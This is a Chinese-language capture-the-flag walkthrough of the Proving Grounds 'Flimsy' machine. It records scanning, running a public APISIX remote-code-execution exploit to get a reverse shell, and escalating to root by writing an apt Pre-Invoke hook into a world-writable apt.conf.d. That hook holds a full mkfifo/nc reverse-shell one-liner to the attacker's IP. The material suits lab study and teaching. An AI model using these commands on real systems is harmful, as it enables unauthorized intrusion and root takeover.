Proving Grounds Practice : Flimsy Walkthrough
Proving Grounds Practice : Flimsy Walkthrough
Foothole (立足點 ) :
- APISIX RCE 漏洞利用
PE ( 提權 ) :
- cat /etc/crontab 發現 apt-get update
- 利用執行 apt-get update 時執行 reverse shell
注意事項 :
- Exploit Code 網址寫法,最後要加上 /
- apt-update 利用學習
第一步 Rustscan,└─$ rustscan -a 192.168.156.220 --scripts none --ulimit 5000 | tee rustscan
snmp filtered 沒戲,└─$ sudo nmap -sU -p 161 192.168.156.220 | tee snmp
nmap,└─$ sudo nmap -sCV -A -p 22,80,3306,43500 192.168.156.220 | tee nmap
22 SSH
80 nginx/1.18.0
3306 MySQL
43500 OpenResty web app server、http-server-header: APISIX/2.8
80 /
下方的 Send 測試了沒有用會顯示 405 Not Allowed
80 /robots.txt
whatweb 80
gobuster 80,沒東西
43500 /
searchsploit APISIX 發現一個 RCE 50829,版本顯示 2.12.1(靶機的版本是 2.8)
看了一下 Exploit-DB 版本 2.8 有在範圍內,內容看來沒啥好改的
跑一下看看,有告知使用方式 [!] Usage : ./apisix-exploit.py <target_url> <lhost> <lport>
跑跑看 └─$ python3 50829.py http://192.168.156.220:43500 192.168.45.224 4444
結果 GG
後來再網址最後面加上 / 成功
└─$ python3 50829.py http://192.168.156.220:43500/ 192.168.45.224 4444
Reverse Shell 沒有進來,後來將 Port 改成 443 成功拿到 Reverse Shell
開始 PE,cat /etc/crontab,發現 root 的 sh
* * * * * root apt-get update
* * * * * root /root/run.sh --> 這個無法讀取,沒有權限
pspy64 看一下,發現會定期跑 apt-get update
Google 看一下 apt-get update configuration file 的檔案
參考 : https://manpages.ubuntu.com/manpages/xenial/man5/apt.conf.5.html
可以知道檔案是 /usr/apt/apt.conf
kali 中 /usr 下沒有 /apt 目錄,參考這一篇說明 : https://systemweakness.com/code-execution-with-apt-update-in-crontab-privesc-in-linux-e6d6ffa8d076
有告知是在 /etc/apt/apt.conf.d/ 底下,手法是呼叫 bash 建立 Reverse Shell
手法跟這一篇說明一樣使用 Pre-Invoke 的方式
https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/
目錄在 /etc/apt 底下, apt.conf.d 目錄底下是執行的內容
且 everyone 都有寫入的權限,就決定是它了
在該目錄底下直接建立一個檔案 shell,使用跟文章一樣的手法,內容如下
echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.224 4446 >/tmp/f"};' > shell
拿到 root 了
留言
張貼留言